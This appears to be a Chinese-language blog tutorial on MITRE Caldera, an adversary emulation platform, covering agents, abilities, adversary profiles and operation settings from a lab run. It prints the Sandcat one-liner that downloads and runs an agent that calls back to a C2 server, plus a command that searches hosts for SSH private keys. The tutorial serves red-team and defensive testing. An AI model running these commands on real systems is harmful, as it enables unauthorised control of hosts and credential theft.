MITRE Caldera 自动化攻击仿真

项目了解 

mitre/caldera:自动对手仿真平台 (github.com)

Caldera  读音 :美 /kɔl'dɪərə/   n. 破火山口;火山喷口

它建立在 MITRE ATT&CK™ 框架之上,是 MITRE 的一个活跃研究项目。

MITRE Caldera™ 是一个网络安全平台,旨在轻松自动化对手仿真、协助手动红队和自动化事件响应

 

主要有两个部分组成:

1.核心系统,提供Web界面,REST API(Representational State Transfer 应用程序编程接口),命令与控制(C2),异步处理功能。

2.插件。扩展了核心框架功能并提供了其他功能。示例包括代理、报告、TTP 集合等。

 

适用于运行核心框架的计算机:

  • 任何 Linux 或 MacOS
  • Python 3.8+(使用 Pip3)
  • 推荐运行的硬件是 8GB+ RAM 和 2+ CPU
  • 推荐:GoLang 1.17+ 动态编译基于 GoLang 的代理。
  • NodeJS(v16+ 推荐用于 v5 VueJS UI

 

关键概念

代理 Agent

代理是软件程序,它们以一定的间隔连接到Caldera以获取指令。代理通过一种联系方式与Caldera服务器进行通信,该联系方式在代理安装时最初定义。

已安装的代理会出现在用户界面(UI)的“代理”对话框中。代理通过其唯一的“爪印”(paw print)进行标识。

Caldera包含多个代理程序,每个程序都添加了独特的功能。下面列出了一些示例:

  • Sandcat:一个Go语言编写的代理,可以通过各种C2(命令与控制)通道进行通信,如HTTP、Github GIST或DNS隧道。
  • Manx:一个Go语言编写的代理,通过TCP联系进行通信,并作为反向shell工作。
  • Ragdoll:一个Python编写的代理,通过HTML联系进行通信。

代理可以被分组,这可以通过安装时的命令行标志或在UI中编辑代理来实现。在运行操作时,这些组用于确定要对哪些代理执行能力。

组决定了代理是“红色代理”还是“蓝色代理”。在“蓝色”组中启动的任何代理都将可从蓝色仪表板访问。所有其他代理都将从红色仪表板访问。

功能:

  • 执行各种预定义的攻击手段和策略,例如数据窃取、权限提升、横向移动等。
  • 收集目标系统的信息和状态,反馈给控制服务器。
  • 支持多种操作系统和网络环境,适应性强。

这些代理的主要作用是模拟真实世界中的网络攻击者,执行各种攻击技术和战术。

这些代理(agents)可以被看作是专门针对目标主机的交互接口。

它们接收来自控制服务器(通常是Caldera平台)的指令,然后在目标主机上执行这些指令。

  • 命令执行: 执行各种命令和脚本,以模拟真实攻击者可能采取的行动。
  • 数据收集: 收集目标主机上的信息和状态,包括文件、进程、网络连接等。
  • 反馈和报告: 将执行结果和收集到的数据返回给控制服务器,以便分析和决策。

每种代理使用不同的通信协议和方法来与控制服务器保持联系,如HTTP(S)、HTML、TCP等。

例如:针对linux主机 名为victim,

caldera 会生成如下命令,在被攻击机上执行以下命令,就会上线此受害者主机。

# Caldera's default agent, written in GoLang. Communicates through the HTTP(S) contact by default.

server="http://0.0.0.0:8888";
curl -s -X POST -H "file:sandcat.go" -H "platform:linux" $server/file/download > victim;
chmod +x victim;./victim -server $server -group red -v

使用 curl 命令发送一个POST请求到服务器,具体URL为 $server/file/download。请求中包含两个头部字段:   

  • file:sandcat.go:表示请求下载的文件名是 sandcat.go
  • platform:linux:表示目标平台是 Linux。

就是从caldera下载一个sndcat的代理程序,用来与目标主机交互。

下载的victim 文件,并传递一些参数:

  • -server $server:指定服务器地址。
  • -group red:指定该代理属于 red 组,通常用于红队演练。
  • -v:启用详细模式,输出更多调试信息。

在目标系统上部署并运行攻击代理。则回连到攻击C&C主机。

 

 

能力与对手 Abilities and Adversaries

能力(Ability)是指可以在正在运行的代理上执行的特定ATT&CK战术/技术实现。

能力将包括要运行的命令、命令可以运行的平台/执行器(例如:Windows / PowerShell)、要包含的负载(payloads),以及对Caldera服务器上用于解析输出的模块的引用。

对手配置文件(Adversary Profiles)是一组能力的集合,代表了威胁行动者可用的战术、技术和程序(TTPs)。

在运行操作时,对手配置文件用于确定将执行哪些能力。这些配置文件帮助模拟特定威胁行动者的行为模式,以便安全团队能够测试和验证其防御措施的有效性。

Abilities

指的是在可以在agent上执行的操作,每一个ability都是TTP上的一个步骤。

如Discover Private SSH Keys,属于credential-access战术,技术id为T1552.004

凭证访问,具体的命令执行如下。

 

Adversaries

对手配置文件是一组能力,表示威胁参与者可用的策略、技术和程序 (TTP)。运行操作时,使用对手配置文件来确定将执行哪些功能。

就是一组能力的集合,当配置好adversary后,可以在操作时执行此组能力。

如:自定义一个Adversary,定义一组能力。先凭据访问,后持久化攻击。

 则,运行此组能力,会对linux的agent进行如下命令攻击。

操作operation

 可以定义在一个操作,在agent绑定的目标主机执行对应的能力。

Operation Name (操作名称): anyt: 这是这次操作的名称

Adversary (对手):这里是 zzl_test adversary1,表示将使用该对手的预定义攻击行为和策略进行模拟

Fact Source (事实来源):用于指定初始情报或环境信息的来源。

Group (组):All groupsred: 选择目标组。这里选中了 red 组,表示这次操作将针对红队进行。

Planner (计划者)  atomic: 选择计划者模块,决定如何执行攻击链。atomic 表示使用原子计划者,逐步执行单个操作步骤。

  • atomic: 根据对手配置文件中的原子顺序执行能力。
  • batch: 一次性执行对手配置文件中的所有能力。
  • buckets: 按照 ATT&CK 策略分组执行对手配置文件中的能力。

Obfuscators (混淆器):  选项包括 base64, base64jumble, base64noPadding, caesar cipher, plain-text, steganography

这里选中了 plain-text,表示不使用任何混淆技术。

Autonomous (自主性):

  • Run autonomouslyRequire manual approval:
    • Run autonomously: 自动运行,无需手动批准。
    • Require manual approval: 需要手动批准每一步操作。

Parser (解析器):

  • Use Default ParserRequire manual approval:
    • Use Default Parser: 使用默认的解析器。
    • Require manual approval: 需要手动批准每一步操作。

Auto Close (自动关闭):

  • Keep open foreverAuto close operation:
    • Keep open forever: 操作将一直保持打开状态。
    • Auto close operation: 操作完成后自动关闭。
  • 这里选择了 Keep open forever,表示操作将保持打开状态,不会自动关闭。

 

Run State (运行状态):

  • Run immediatelyPause on start:
    • Run immediately: 操作将立即开始。
    • Pause on start: 操作开始时将暂停。
  • 这里选择了 Run immediately,表示操作将立即开始。

Jitter (sec/sec) (抖动):

  • 2 / 8: 设置操作执行的抖动时间,表示在每个步骤之间随机增加 2 到 8 秒的延迟,以模拟更真实的攻击行为。

执行效果

可以看到,在目标主机上执行了凭证访问的命令。但是并没有输出。

find / -name id_rsa 2>/dev/null >> /tmp/keyfile_locations.txt; exit 0   说明没有找到id_rsa密钥。

 发现持久化操作未执行,根据官方文档,能力被执行是有条件的。

需要满足facts,与fact requirements被满足,且能力被配置为运行

 事实是关于给定计算机的可识别的信息片段。事实名称在能力文件中被引用,当从能力创建链接时,事实值将被替换。

持久化攻击命令中含有事实。在fact source中配置fact

 可以看到,开始执行此能力。

 执行成功,但是没有输出结果。

 

 

 

Welcome to MITRE Caldera’s documentation! — caldera documentation   使用文档

 

ATT&CK—Caldera 实操(保姆级教学) - FreeBuf网络安全行业门户  

 

posted @ 2025-02-27 16:57  zzl14  阅读(317)  评论(0)    收藏  举报